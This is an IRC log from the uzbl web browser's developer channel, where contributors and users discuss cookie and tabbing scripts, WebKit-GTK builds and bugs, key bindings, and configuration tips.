17:47 < kanzure> so I'll be writing a script to help me cycle through my queue I guess
17:48 < kanzure> after all, you don't need to have all of your bookmarks constantly loaded into RAM in the background (all their contents) and rendered, do you?
17:48 < mason-l> kanzure, Did you find out about cookie_daemon.py from the mailing list?
17:48 < kanzure> mason-l: That wasn't me.
17:49 < scj> kanzure: of course not, but that is what tabbed browsing has taught people and that is what they expect of browsers
17:49 < mason-l> To make matters entirely worse I've just accidentally pressed Ctrl+L in xchat.
17:49 < kanzure> well let's not talk about what people "expect ":p
17:49 < mason-l> (The keyboard shortcut for clear)
17:49 < kanzure> people don't "expect" you to have 15,000 bookmarks
17:49 < kanzure> thus why kdebookmarkmanager totally crashes
17:49 < kanzure> *kbookmarkmanager
17:49 < rob|> who wrote the cookie daemon, and why is there nothing on the wiki about it?
17:50 < mason-l> rob|, I wrote it from holizzs' code
17:50 < mason-l> brb
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17:50 < mason-l> Awesome, I've got my scroll-back back.
17:51 < mason-l> Ah sorry kanzure I mistook your name for holizz.
17:51 < rob|> mason-l: would be nice to see it mentioned on the wiki, i bet that would attract more people giving you the opportunity for better testing and possible bug reports
17:51 < mason-l> rob|, Thats why I was doubly confused as I haven't advertised it :D
17:52 < holizz> mason-l, They're very similar. They both have a z in.
17:52 < rob|> heh..
17:52 < kanzure> I once had this dream of only ever having to view any single website once .. and during this one-time view, I would figure out the xpaths that would be required to write a scraper
17:52 < kanzure> and then add this into surfraw or something ridiculous like that
17:52 < mason-l> holizz, That sounds plausible, I'll go with that.
17:52 < kanzure> (not counting changes to web pages)
17:53 < kanzure> so maybe I'll toy around with something like xpather-for-webkit
17:53 < kanzure> er, or would that be in the uzbl namespace?
17:54 < scj> uh. wat?
17:54 < kanzure> sorry, random babbling. will commit some code soon.
17:57 < kanzure> just need to figure out how to get what the user is clicking on from a daemon.
17:57 < kanzure> and then whether or not webkit supports xpaths or similar
17:59 < kanzure> http://www.openajax.org/runtime/wiki/XPath_Support  "#  Webkit: Starting from 3.0, Webkit has DOM XPath support built-in." well there you go
18:00 < rob|> kanzure: uzbl uses webkit-gtk which is by far not as complete as apple's objective C webkit thing
18:00 < kanzure> hm.
18:01 < kanzure> is there a comparison of the APIs/what's implemented?
18:02 < rob|> i'm not aware of any side-by-side one
18:02 < kanzure> maybe doxygen can generate one for me. /me checks
18:03 < rob|> webkit-gtk's docs are generally rather poor :(
18:03 < kanzure> what about inline documentation?
18:03 < rob|> yeah, even that
18:03 < kanzure> foo
18:04 < holizz> rob|, webkitgtk.org is the only documentation I found for WebKit at all.
18:04 < kanzure> yeah this is all I'm seeing: http://webkitgtk.org/reference/index.html
18:04 < kanzure> holizz: webkit.org has other documentation however
18:04 < rob|> that doesn't apply to the gtk port, though..
18:05 < kanzure> maybe webkitgtk needs some help completing the port?
18:06 < rob|> glib does offer everthing needed with GObject but there are issues with bindings for other languages - at least i read some rumours referring to this on the ML
18:06 < kanzure> can you post a link to the mailing list?
18:07 < kanzure> is it uzbl-dev?
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18:07 < rob|> no, i mean the webkit-gtk ml
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18:08 < kanzure> http://lists.webkit.org I guess
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18:14 < kanzure> huh webkit-gtk's git repo is huge.
18:15 < kanzure> it's only 50% done downloading but already half a gigabyte?
18:16 < holizz> The checked out tree is 19M.
18:17 < kanzure> is there a lot of binary/non-source data in here?
18:17 < kanzure> or is the bulk of it just diffs?
18:17 < holizz> 120 000 sloc.
18:17 < kanzure> hm.
18:18 < mason-l> Theres no option to clone with a max-depth is ther?
18:18 < mason-l> s/ther/there/
18:18 < kanzure> no, because it reassembles everything from the initial commit
18:18 < kanzure> by sequentially applying the diffs
18:19 < kanzure> that's the "Resolving deltas" stage of git-clone IIRC
18:19 < mason-l> Ohhh, thats awesome.
18:19 < holizz> mason-l, Yep. You can do a do a shallow clone.
18:20 < holizz> --depth
18:20 < kanzure> oh my mistake :)
18:20 < kanzure> look before you leap. sorry.
18:20 < mason-l> (I knew that git sequentially applys diffs to build the files but I didnt know about the resolve deltas part)
18:20 < kanzure> don't listen to me
18:20 < kanzure> that's probably wrong too
18:21 < holizz> But you can't do development on a shallow clone because the commit SHAs won't match.
18:21 < holizz> Well, others can't pull from your shallow clone.
18:23 < holizz> Big git repos are a bit of a pain, but have you tried bzr clone lp:launchpad? I left that running for 3 hours once and it still hadn't completed.
18:23 < kanzure> launchpad itself is that large?
18:23 < kanzure> I must have some skewed perspective on the size of projects
18:24 < holizz> I wouldn't have thought launchpad was _that_ large. Maybe it's only a few hundred megs and bzr is just pathetic. I wouldn't know because I haven't managed to clone it yet.
18:26 < kanzure> hah
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18:39 < holizz> Is there a script for uzbl to query the sockets and delete any which are unresponsive?
18:40 < rob|> don't think so
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18:42 < mason-l> When you talk to a dead fifo you just block waiting for the other listening application to read don't you? How could you see if ones dead without blocking?
18:42 < holizz> mason-l, Timeouts.
18:43 < mason-l> holizz, So its possible to non-block write then? (or else you would have to use threads?)
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18:44 < holizz> Maybe?
18:44 < mason-l> I don't know either but using threads is ugly.
18:46 < tyk> hi
18:47 < tyk> I'm trying to set a binding with a modkey
18:47 < tyk> but I don't find this in any doc
18:49 < mason-l> Good night guys, I'll add that cookie_daemon.py wiki page tomorrow morning when I wake up.
18:49 < holizz> tyk, You can only set bindings which generate control codes. Like Ctrl+H = ^H. You have to put the control code into the config file, which is quite ugly and not ideal.
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18:49 < holizz> mason-l, Night.
18:49 < tyk> so
18:49 < tyk> how would you do?
18:50 < tyk> you'd not use modkey? :p
18:51 < holizz> It would only work if the modkey was Ctrl, I think. In vim, for instance, you can ^V in insert mode, and then type the ctrl code.
18:51 < tyk> ctrl would work for me
18:51 < holizz> So it would look like "bind ^H = back".
18:51 < tyk> I want ctrl-d/ctrl-u from vim
18:52 < tyk> ok I'll try
18:54 < tyk> doesn't seem to work
18:56 < rob|> did you type: bind <ctrl-v> <ctrl-u> = command
18:56 < rob|> ?
18:57 < tyk> bind ^d = command is not good?
18:58 < rob|> no
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19:13 < tyk_> ok it works
19:13 < tyk_> I see why it's ugly now
19:14 < tyk_> thanks for your help
19:14 < rob|> sure thing, expect the bindings to get prettier..
19:14 < rob|> at some point..
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19:15 < errno> is there a way to disable tooltips?
19:16 < tyk_> hehe
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19:18 < holizz> errno, I don't think so.
19:19 < errno> i kinda find the irrelevant and annoying :)
19:19 < errno> s/the/them
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19:23 < rob|> hmm, i looked through the WebKitWebSettings properties but can't find any ref. to tooltips
19:23 < rob|> they might be somewhere else, though
19:23 < holizz> WebKit's behaviour is better than Gecko's for reading XKCD, but I find it too responsive most of the time - Firefox has a bit of a delay.
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20:10 < errno> is it a uzbl problem that privoxy gives me 404 quite often, restarting the service helps
20:12 < N30N> errno: don't have that problem here (using polipo)
20:13 < errno> iirc i read something about the way uzbl handles dns resolution and it has an effect on it
20:14 < errno> dunno, lol
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20:20 < errno> privoxy has a weird way of blocking gifs
20:21 < errno> i got blinking emoticons and similar
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20:22 < holizz> errno, Sure that's not WebKit? Animated gifs are broken in the version I'm using.
20:23 < errno> oh, i'll test with ff
20:27 < holizz> FFS, I'm piping cookie_daemon.py's output to ~/.cookie_daemon.log, but it's not printing its exceptions
20:29 < errno> yep, it's webkit
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20:33 < holizz> mason-l, ^^ (fixing it for you)
20:41 < bct> the gif thing seems to be fixed in 1.1.11
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22:10 < objorn> hmm... help? http://dpaste.com/74160/
22:10 < objorn> that's my make error
22:11 < bct> hmm, haven't seen that onebefore.
22:11 < bct> what version of webkit-gtk do you have?
22:12 < bct> ;;muzbl.c:574: warning: implicit declaration of function 'webkit_download_get_uri'
22:12 < objorn> bct: 0_p40220-r1
22:15 < bct> that's pretty old. try upgrading it
22:15 < objorn> bct: doing that now
22:17 < holizz> I like the way the WebKit git repo doesn't have any tags and almost no branches.
22:18 < objorn> holizz: and doesn't work, yeah, me too
22:21 < objorn> ah much better
22:23 < objorn> i will have to come back later
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01:47 < jelly12gen> i have a little question about uzbl and password aka form filler
01:47 < jelly12gen> how does it work
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04:06 < Gentooer> I can't seem to get the syle.css to work for linkfollow.js.  I followed the directions from the comment, but the css file doesn't appear to be loaded at all.
04:10 < mason-l> <holizz> mason-l, ^^ (fixing it for you) <-- How did you go?
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06:10 < mason-l> Finished updating uzbl_tabbed.py's wiki page: http://www.uzbl.org/wiki/uzbl_tabbed cookie_daemon.py next.
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07:37 < habitue> Is anyone aware of someone managing to embed uzbl in emacs?
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07:38 < mason-l> habitue, Nothings stopping emacs if it is able to play with gtk plug/sockets.
07:38 < mason-l> If not; back luck.
07:41 < habitue> I have seen several people in mailing lists say it was possible to embed in emacs anything using Xembed, but I haven't seen any examples of this
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08:47 < mason-l> Dieterbe, Do you use gnome?
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10:34 < mason-l> Hey holizz
10:34 < mason-l> How did you go with your quest to exception log cookie_daemon.py?
10:35 < holizz> mason-l, I'll tell you when it dies next.
10:35 < mason-l> Awesome :)
10:36 < mason-l> All in all its very easy to do I just don't know how to print a traceback (in the same pretty way that raise does)
10:37 < holizz> I saw some forking code in there. Which bits of it get forked?
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10:38 < mason-l> The forking is for entering the .. you know .. daemon mode :)
10:38 < mason-l> In the same manner that daemons in your /etc/init.d/ directory daemonise themselves
10:38 < mason-l> Oh I think the directory might be /etc/rc.d/ on arch
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10:39 < holizz> But when I run it, it just stays there. It doesn't daemonise or anything.
10:39 < mason-l> holizz, Thats because I've disabled it until talk_to_socket is able to launch the script
10:39 < mason-l> There is a variable at the top of the file to enable the daemon mode
10:40 < holizz> Aha, okay.
10:40 < mason-l> line 77: daemon_mode = False
10:41 < holizz> That's fine then. Just so long as we're getting all the information on stdout/err.
10:41 < mason-l> You will until it enters daemon mode.
10:41 < mason-l> Then its unbound to everything stdin/stdout/sterr
10:45 < mason-l> I need to add the same uzbl_tabbed.py config inheriting ability to cookie_daemon.py to make it easier to change these options.
10:47 < holizz> It would be handy if we could set any variable we liked in the config file. Like just make new ones up for scripts to use, and then query uzbl rather than parsing the very-hard-to-parse config file.
10:48 < mason-l> Its not very hard to parse at all.
10:48 < mason-l> Very easy in-fact.
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10:49 < mason-l> http://github.com/mason-larobina/uzbl/blob/17a60c4e168c56973bbd5b5c6e9a212f4e3ec901/examples/data/uzbl/scripts/uzbl_tabbed.py#L302
10:50 < holizz> That's assuming, of course, there's no \@things in there, or anything.
10:51 < mason-l> Mmmm. Thats... a good point.
10:52 < holizz> I should probably be doing expandvars and expandhome in my favicon.py too.
10:52 < scj> Gentooer: have you tried "set stylesheet_uri = file://$path"?
10:54 < holizz> Anyway, brb shopping.
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11:37 < Dieterbe> mason-l: no, i don't use gnome. why?
11:37 < Dieterbe> (i use wmii)
11:38 < mason-l> Dieterbe, I was just asking because I had trouble launching a urxvt shell to edit a file from nautilus.
11:38 < mason-l> Never mind.
11:38 < mason-l> I really should ditch my window-manager.
11:38 < mason-l> (Maybe go back to awesome, but then I will have to learn LUA)
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11:41 < Dieterbe> mason-l: "This re-write uses a FIFO socket interface to comm..." <-- rewrite of what? older uzbl-tabbed?
11:41 < mason-l> Yes
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11:41 < Dieterbe> i think that sentence may confuse people
11:41 < mason-l> I can remove that now that I've removed the old script from the page.
11:41 < Dieterbe> yea
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11:45 < Dieterbe> anyway, your stuff looks cool
11:45 < Dieterbe> (as usual)
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11:46 < mason-l> Dieterbe, And its a pleasure as usual to work on the project.
11:46 < Dieterbe> :)
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12:20 < mason-l> Dieterbe, I've fixed the intro paragraph, let me know if it make any more or less sense now :)
12:20 < mason-l> brb dinner
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13:20 < mason-l> If this project were re-written to C (from C++) would it be of use to anyone? http://code.google.com/p/pystring/source/browse/trunk/pystring.cpp
13:21 < mason-l> Theres also a documentation page http://code.google.com/p/pystring/wiki/Documentation
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13:29 < Dieterbe> mason-l: i think you can do most of those already with glib
13:33 < mason-l> I really should look into that thing.
13:34 < mason-l> Are there any good online resources for glib? (I can google it, but you must have some good bookmarks?)
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14:09 < jelly12gen> i am trying to get the form filler working , but i dont know how to let it save my password
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15:01 < jelly12gen> also i am looking in modifying follow_Numbers.js to open a new windows
15:01 < jelly12gen> *window
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15:02 < jelly12gen> i could do that with just editing the config right ?
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15:13 < holizz> jelly12gen, That might be problematic. Opening new windows is currently done in an awkward way.
15:14 < jelly12gen> hmm
15:14 < jelly12gen> you cant call uzbl -u in the config ?
15:15 < holizz> I'm not sure you can call that from JavaScript. Maybe, though.
15:16 < N30N> holizz: you can with Uzbl.run, but js can open windows it's self with window.open
15:16 < jelly12gen> hmm
15:17 < jelly12gen> ok i stopped gaming
15:17 < N30N> jelly12gen: like 129 and 130 change to window.open(item.href);
15:17 < jelly12gen> i need to fix my cooky problem
15:17 < rob|> holizz:  It would be handy if we could set any variable we liked in the config file. Like just make new ones up for scripts to use, and then  query uzbl rather than parsing the very-hard-to-parse config file.
15:17 < rob|> you can do that already..
15:17 < holizz> N30N, Aha. But window.open doesn't really work in uzbl.
15:17 < jelly12gen> rob|: you mean arguments :P
15:17 < holizz> rob|, Can you now? That's handy.
15:18 < rob|> holizz: yes you can, set myvar = foobar
15:18 < N30N> holizz: works for me
15:18 < jelly12gen>   File "/home/jelle/.config/uzbl/scripts/cookies.py", line 37, in <module>
15:18 < jelly12gen>     jar.save(ignore_discard=True)
15:18 < jelly12gen> hmm this is wrong ?
15:19 < holizz> jelly12gen, That's so that session cookies aren't destroyed.
15:19 < jelly12gen> ok
15:20 < jelly12gen> well the cookies dont remember my arch forum passwd
15:21 < tyk> you can use sh 'uzbl -u'
15:21 < tyk> somebody has a script to use hints in a new window?
15:21 < tyk> I saw something looking like it in a config from the wiki
15:21 < tyk> but the script wasn't there
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15:22 < holizz> jelly12gen, Which cookie_handler are you using?
15:22 < jelly12gen> N30N: so i changed  line 130 from open item.href to window.open(item.href);
15:22 < jelly12gen> holizz: hmm
15:22 < jelly12gen> holizz: cookies.py
15:23 < holizz> jelly12gen, The new one, or the old one?
15:23 < jelly12gen> dunno
15:23 < jelly12gen> i pullled uzbl-git from aur
15:23 < holizz> How long ago?
15:23 < jelly12gen> the latest release
15:23 < jelly12gen> 1 day ago
15:24 < mason-l> master branch perhaps...
15:24 < jelly12gen> checking out github atm
15:24 < N30N> are ther any plans to make the back cmd fetch from the history_handler? That would allow you to save and restore sessions (currently it's quite a useless handler)
15:25 < N30N> s/ther/there/
15:26 < holizz> N30N, What would the advantage be in doing that?
15:26 < mason-l> N30N, That wouldn't be a good session saving/loading mechanism.
15:28 < N30N> mason-l: but it would be doable
15:29 < jelly12gen> N30N: your edit of follow_number.js doesnt work
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15:29 < jelly12gen> or i did something wrong
15:30 < N30N> del line 129 too? (I'll test it in a sec)
15:30 < jelly12gen> do i need to del line 129 ?
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15:31 < N30N> jelly12gen: yeah or the page'll change and open a new window
15:31 < jelly12gen> hmm wut?
15:32 < jelly12gen>   window.location = window.open(item.href);
15:32 < jelly12gen> that wont work
15:33 < N30N> holizz: currently the history_handler is almost == load_finish_handler, it dosen't have any advantages (as far as I know)
15:36 < holizz> N30N, That's what I told Dieterbe, and he said it was advantageous because it sent a timestamp to the process. As the script won't be executed at _exactly_ the same time as the load_commit_handler will be fired.
15:36 < rob|> imo we should rethink the whole handler thing and use some more message alike, i.e. pass event messages/strings to an output fifo/socket
15:37 < rob|> *something
15:38 < jelly12gen> N30N: could you paste your working follow_number that opens in tabvs?
15:41 < jelly12gen> er.. new window
15:41 < jelly12gen> or can i call a script with window_open ?
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15:45 < N30N> jelly12gen: ok got me coffie, checking now
15:46 < jelly12gen> :P
15:46 < unexist> Hi, is there a way to change the color of the blank page at start? Thought I can do this with stylesheet_uri, but can't find suitable docs about this.
15:47 < N30N> jelly12gen: ah yes, window.open aint working, change the lines I said above to Uzbl.run("sh 'uzbl -u " + item.href + "'"); Uzbl.run("set keycmd = ");
15:48 < jelly12gen> N30N: hmm pastebin ?
15:48 < jelly12gen> N30N: so change line 129 from window.location = what yousaid ?
15:50 < holizz> unexist, You can add "set uri = ..." in your config.
15:50 < N30N> jelly12gen: http://pastebin.com/d59262cc1
15:50 < jelly12gen> kloeri: thanks
15:51 < unexist> holizz: Yes i Know, just wanted to ask what I can do exactly with the overriding stuff in the css file that is distributed.
15:51 < jelly12gen> N30N: thanks
15:51 < jelly12gen> trying it atm
15:51 < jelly12gen> N30N: works nice :)
15:52 < jelly12gen> XMonad + tabbed layout and uzbl is win
15:53 < tyk> N30N: is this to have hints opened in a new window?
15:53 < N30N> tyk: yep
15:54 < tyk> just what I was looking for :)
15:54 < jelly12gen> dddddssdaaa442
15:54 < jelly12gen> woops
15:54 < holizz> unexist, You can do anything with the user stylesheet, but the "page" that's loaded in uzbl by default isn't a page at all, it's just what happens before you load anything. It's not even about:blank.
15:57 < N30N> unexist: you can do it with the stylesheet_uri file (html { background-color: grey; }) but it'll effect other pages too, best to make a blank start page and set the uri to that in your config
15:57 < unexist> holizz: Ah ok, just the blank canvas. Thanks.
15:58 < unexist> N30N: Yea, was about to do that.
15:58 < tyk> N30N: thanks for your useful pastebin :)
16:01 < N30N> holizz: how's your pyuzbl going? still working on it?
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16:19 < murth> does the awesome wm have this xmonad-style tabbed layout?
16:21 < tyk> I use awesome
16:21 < tyk> I put all uzbl apps in tag 1
16:21 < tyk> and tag 1 is in max mode
16:21 < tyk> works great
16:22 < murth> so all procsses of uzbl spawn full maximized?
16:22 < tyk> yes
16:22 < tyk> I don't think it has real tabs though
16:22 < murth> hmm, I think that's what I need.
16:23 < murth> thanks
16:23 < jelly12gen> got cookies working :)
16:23 < murth> yeah, i'll be happy if I can just get new windows spawning maximised
16:23 < jelly12gen> hmm this may replace vimperator
16:24 < tyk> use mod4-space to switch mode
16:24 < tyk> the one you want is the big X
16:24 < murth> oh, of course tyk... it's so obvious now you mention it
16:25 < tyk> :p
16:25 < murth> i was just dreading hitting the lua :)
16:25 < jelly12gen> hehe lua
16:26 < holizz> N30N, Nah, I haven't really added to it lately.
16:27 < murth> i looked at this newish tiling wm called subtle the other day. all the config sttuff in ruby. it's like english compared to lua.
16:28 < jelly12gen> you also have tilingwm's in python
16:28 < unexist> murth: I think so too. ;)
16:28 < murth> :)
16:30 < unexist> murth: So what do you think about subtle?
16:31 < murth> well, to be honest I haven't used it yet.
16:32 < murth> But, give me a few free hours and I'm thinking of switching from awesome
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16:33 < murth> however... I don't think the screenshots do it justice, and if they do, then I may need to pretty it up.
16:33 < murth> like that kind of chequered top bar thing isn't too good looking from the screenies
16:33 < Gentooer> scj: thanks, you're right. style.css needs the "file://" prefix. maybe this should be mentioned in the comments?
16:33 < scj> Gentooer: yeah, sorry about that
16:33 < unexist> murth: Ah, if you have any problems feel free to ask. Actually you can disable the stipple on the bar.
16:33 < Gentooer> np, works great now :)
16:34 < murth> unexist: oh, you seem to be the author!
16:34 < unexist> murth: Heh yes. Check this shot, maybe you like it more: http://omploader.org/vMjMwZg
16:37 < murth> unexist: yes, that's more like it. I must admit, I do like th default awesome-wm theme
16:37 < murth> and that is quit similar
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16:38 < unexist> murth: Haven't used awesome for a while - for a good reason. I just tool the colors from my vim colorscheme. ;)
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17:06 < rob|> scj: did you find any practical use for the env var stuff?
17:07 < N30N> rob|: what branch is that in?
17:08 < rob|> N30N: my tree, branch export-to-environment
17:09 < rob|> N30N: there is a command 'export_to_env' which will export all uzbl vars into the environment
17:10 < N30N> rob|: yeah I saw you guys talking about it before :)
17:10 < rob|> i'm not really cofindent wether we really need this
17:12 < N30N> rob|: I think it'd be better to provide a way to list all vars then if you wanted to export them all you could do so via a script
17:13 < N30N> but still cant see a real uses for it
17:13 < rob|> N30N: dump_config
17:13 < N30N> rob|: oh yeah lol
17:13 < lwithers> I think what we were originally after was a way to tidy up all the variable expansion in uzbl.c
17:16 < rob|> well, i don't think that part is particularly 'dirty', though ;)
17:17 < rob|> besides all the issues with the env, we wouldn't be able to expand js with an external approach
17:18 < lwithers> then maybe the correct solution is to do nothing
17:19 < rob|> yep, anyways let's see if we can find use cases for the env stuff then we can decide wether we need it or not
17:20 < scj> I haven't gotten around to play with it yet, unfortunately. just built it and will puts around with it now
17:21 < scj> rob|: "wouldn't be able to expand js with an external approach"? I don't follow
17:23 < rob|> how would you e.g. access the dom without the @<js>@ expansion from a script?
17:23 < rob|> s/expansion/substitution/
17:24 < scj> we would still need fifos (for settings variables) and sockets (for js stuff)
17:24 < lwithers> well, if you were just using env as a /store/ for variables, then you could still do @<js>@ expansion
17:26 < rob|> sure, though i don't see the advantage to _only_ using the env as a store
17:26 < lwithers> I think we discussed it solely as a way to simplify the existing code, rather than because it would bring any new features to the table
17:26 < lwithers> if it doesn't make things simpler, then I don't see any advantage to it
17:27 < rob|> then the answer is clear, it wouldn't simplify anything..
17:27 < lwithers> ok :^)
17:28 < scj> fine
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17:45 < Dieterbe>  holizz> N30N, That's what I told Dieterbe, and he said it was advantageous because it sent a timestamp to the process. As the script won't be executed at _exactly_ the same time as the load_commit_handler will be fired. <-- true i said that, but i probably also added something like "but i guess it doesn't really matter all that much"
17:46 < Dieterbe> i don't think being off a few seconds in history logs is gonna matter much
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17:55 < Gentooer> does uzbl support multiple connections to a single server and pipelining?
17:56 < Gentooer> i was wondering if this might be why uzbl seems to be slightly slower at retrieving web pages than firefox
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17:57 < Dieterbe> where are we on the talk_to_socket ? still need to do the handler arguments refactoring to be able to spawn the process if needed?
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18:01 < scj> Gentooer: have you tried max_conns and max_conns_host?
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18:03 < Gentooer> scj, nope didn't know about them. i'll give that a shot
18:05 < Gentooer> are these config options documented somewhere?
18:06 < scj> besides in uzbl.c, probably not
18:06 < rob|_> yes, in the README
18:06 < scj> they are mentioned, not documented
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18:07 < Gentooer> ah ok well the README help some
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18:09 < Gentooer> I don't see anything about pipelining HTTP requests. is this supported at all?
18:10 < Dieterbe> we decided to keep things very simple. so we do each request after each other
18:11 < Gentooer> ah ok
18:11 < Dieterbe> just kidding !!
18:11 < Dieterbe> you're serious? "ok" ? :)
18:11 < Dieterbe> i wouldn't use a browser that doesn't parrallelize requests :P
18:11 < Gentooer> oh.. heh i don't know :)
18:12 < Gentooer> well most browsers didn't i thought..
18:12 < Gentooer> firefox disables it by default
18:12 < Gentooer> so it is enabled?
18:12 < Dieterbe> most browsers parrallelize a few requests. i think max 5 simultaneous
18:12 < Dieterbe> i don't know.  webkit handles this and i havent' checked how it does this
18:13 < Gentooer> within one connection?
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18:13 < Dieterbe> you said uzbl is slighly slower for you: try disabling the cookie handler
18:13 < Dieterbe> it will be 10x faster
18:13 < Gentooer> i'll try that, but cookies can be important :)
18:14 < scj> Gentooer: cookies will work but they will be lost when you close uzbl
18:14 < errno> suddenly i get load_url_from_history.sh: line 23: $4: ambigous redirect - i wonder what i did..?
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18:15 < scj> errno: you probably have a stale fifo from a crashed uzbl, clear your fifo dir
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18:17 < errno> scj: thats it, thx
18:18 < N30N> Gentooer: last time I looked pipelining was on the libsoup TODO list
18:21 < Dieterbe> lwithers / rob|_  where are we on the talk_to_socket ? still need to do the handler arguments refactoring to be able to spawn the process if needed?
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18:28 < rob|> Dieterbe: i'm not really sure to be honest
18:29 < tyk> are glitchy animated gifs a known issue?
18:29 < rob|> yeah, with a certain webkit version, though
18:30 < tyk> last versions?
18:31 < rob|> not sure, you got a site where i can check?
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18:32 < tyk> http://www.animatedgif.net/furniture/17_e0.gif
18:33 < scj> blinks for me
18:34 < rob|> yep, for me too
18:34 < scj> using r46091
18:35 < tyk> ok
18:35 < scj> but then it's glitchy in ff3.5 too :>
18:40 < urantherz> that gif only plays once in Opera D:
18:41 < rob|> hooray for animated gifs!
18:42 < tyk> hehe
18:42 < tyk> so this gif is glitchy
18:43 < scj> that gif + ie6 caused my windows box to catch on fire
18:44 < rob|> shouldn't gif die eventually?
18:45 < rob|> you can have way more glitchy animated things with flash who needs gif for that?
18:46 < tyk> some sites are still covered with them
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18:48 < rob|> apng ftw ;)
18:49 < rob|> unfortunatelly webkit doesn't support it as opossed to ff..
18:52 < lwithers> Dieterbe: yes, we need to refactor
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18:52 < N30N> rob|: apng's work for me (but dont't loop)
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18:52 < rob|> N30N: well, then it doesn't work..
18:53 < N30N> rob|: bit it is supported :p
18:53 < N30N> *but
18:55 < rob|> no, it displays the "default image which is displayed by decoders not supporting APNG"
18:57 < N30N> rob|: hmm my understanding was only the first frame should be displayed of non supporting viewers of the format
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18:58 < rob|> N30N: http://wiki.mozilla.org/APNG_Specification
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19:05 < N30N> rob|: ok, I'm wrong :)
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20:01 < Dieterbe> scj: the wire is indeed one of the best series i've ever seen
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20:07 < scj> good, I won't have to think less of you :)
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20:42 < tyk> is http://validator.w3.org/ making uzbl segfault on your sys too?
20:44 < holizz> tyk, Nope. What are you doing, specifically? Just visiting that URI?
20:46 < tyk> yes
20:46 < tyk> some other sites make it crash to
20:46 < tyk> too*
20:46 < holizz> Weird.
20:47 < tyk> :/
20:48 < holizz> Can you get a backtrace?
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20:49 < tyk> backtrace...
20:49 < tyk> you mean with gbd?
20:49 < tyk> gdb*
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20:51 < holizz> Yeah.
20:53 < tyk> 0x00007fc068f77615 in JSC::RegExp::match () from /usr/lib/libwebkit-1.0.so.2
20:54 < lwithers> tyk: post the output of "bt full" somewhere
20:54 < scj> tyk: you are using x86_64, right?
20:54 < tyk> yes
20:54 < scj> seems like webkit has some issues with 64b and javascript
20:54 < tyk> erg
20:55 < lwithers> that URL works for me on x86/64
20:55 < N30N_> tyk: you need to compile libwebkit with gcc-4.3 (it's a known bug)
20:56 < tyk> ok thanks
20:56 < tyk> annoying though
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21:00 < tyk> arch doesn't supply clean binaries?
21:00 < objorn> i'm configuring webkit-1.1.12 and i'm told at the end that "No package 'libsoup-2.4' found Consider adjusting the PKG_CONFIG_PATH environment variable if you installed software in a non-standard prefix. Alternatively, you may set the environment variables LIBSOUP_CFLAGS and LIBSOUP_LIBS to avoid the need to call pkg-config. See the pkg-config man page for more details."
21:00 < objorn> i have just installed libsoup 2.4
21:00 < objorn> from the latest tarball
21:01 < lwithers> objorn: what does "pkg-config libsoup-2.4 --libs
21:01 < lwithers> tell you?
21:01 < lwithers> (sorry kill the first quote)
21:02 < scj> objorn: I think you need libsoup 2.27.3
21:02 < scj> possibly 2.27.4
21:03 < lwithers> objorn: also, if you installed into /usr/local I don't think pkg-config will look there by default
21:03 < lwithers> try export PKG_CONFIG_PATH="/usr/local/lib/pkgconfig"
21:04 < lwithers> (I think I got that right... try it and see:)
21:06 < objorn> lwithers: sorry, was afk
21:06 < objorn> No package 'libsoup-2.4' found
21:06 < tyk> https://bugs.webkit.org/show_bug.cgi?id=25033
21:06 < tyk> that's it?
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21:06 < objorn> that's what pkg-config libsoup-2.4 --libs says
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21:07 < tyk> https://bugs.webkit.org/show_bug.cgi?id=25033
21:07 < tyk> that's it?
21:07 < objorn> lwithers: it's in /usr/local/libs
21:07 < lwithers> objorn: ok, so where did the .pc file for libsoup end up?
21:07 < objorn> lwithers: /usr/local/lib/pkgconfig/libsoup-2.4.pc
21:07 < lwithers> objorn: OK so you'll probably need to set your PKG_CONFIG_PATH as above then
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21:09 < objorn> lwithers: :)
21:09 < objorn> thank you
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22:09 < mjf> Hello.
22:10 < mjf> Just wondering how to get this nifty browser running on 64bit debian/lenny. I tried to find some precompiled packages but it seems nobody has done this task yet.
22:10 < mjf> I tried to compile libwebkit on my own but suffered from some weird C errors, so I gave up after a while.
22:10 < mjf> Any ideas?
22:11 < holizz> Is WebKit not packaged for Debian?
22:12 < mjf> holizz: It seemed to me that lenny has too old version inside
22:12 < holizz> Also, a few hours ago: N30N_: tyk: you need to compile libwebkit with gcc-4.3 (it's a known bug)
22:12 < mjf> libwebkit-1.0-1
22:12 < mjf> gcc (Debian 4.3.2-1.1) 4.3.2
22:13 < holizz> Hmm. What sort of errors? Are you sure you have all the dependencies?
22:13 < mjf> so it seems I should not suffer of compile error (and those were not about dependencies, something weird was in the code that gcc did not liked)
22:14 < mjf> Which version do you sugest me to try to compile for lenny to work with uzbl?
22:15 < mjf> And did anyone here tried to get ir working on openbsd?
22:15 < mjf> s/ir/it/
22:16 < holizz> I'm using 1.1.10, but it has issues with animated gifs. Other than that it's good. I think there's a newer version which also works though.
22:17 < mjf> holizz: thanks
22:18 < holizz> I think somebody tried, and submitted patches for the Makefile to make it work with OpenBSD. Or possibly they came and suggested using autotools or jam, and didn't submit any patches. One or the other.
22:19 < tyk> where can I get last webkit sources ?
22:19 < tyk> I found some instructions but it uses qt
22:19 < tyk> strange
22:19 < tyk> nighty builds should work?
22:20 < holizz> There's a git repo. And I don't see why nightlies wouldn't work with uzbl.
22:21 < mjf> holizz: just trying to get the right libwebkit version, on their web there is not git repo mentioned at all :(
22:21 < mjf> holizz: or perhaps I am blind or fool or something :)
22:22 < mjf> holizz: can you point me to the git repo? (I do not like subversion very much and I do not know it well too)
22:22 < holizz> mjf, Their Web site isn't the easiest to navigate. It's here: git://git.webkit.org/WebKit.git
22:22 < mjf> holizz: yeah, the site is crap ;)
22:23 < holizz> Unfortunately they're noobs and the repo doesn't contain any tags, and almost no branches.
22:23 < mjf> holizz: wtf?
22:23 < mjf> holizz: ok, I will see on my own once pulled down ;)
22:23 < holizz> They probably couldn't work out how to use git-svn properly.
22:23 < tyk> I also saw the git tree is huge
22:24 < mjf> yes
22:24 < mjf> it is
22:24 < mjf> very HUGE!
22:24 < holizz> The repo alone is 671M.
22:24 < mjf> but that's pretty normal, it's huge project
22:24 < mjf> check how big is linux's repo ;)
22:24 < mjf> that's really big
22:26 < mjf> hm, 13%, that will last some while to get the complete webkit repo pulled ... ;)
22:27 < mjf> hm, libsoup 2.24, right needed too, right? I got some libsoup2.4-dev in my lenny, so I guess this will be OK?
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22:28 < holizz> Should be fine. I've only got 2.26.
22:28 < mjf> ok
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22:29 < mjf> hm, the biggest problem is the GTK crapware...
22:29 < mjf> that's the highest version I can find on my system: libgtk2.0-dev
22:30 < mjf> GTK violates ICCCM and it's crap in many ways, nobody should really use it.
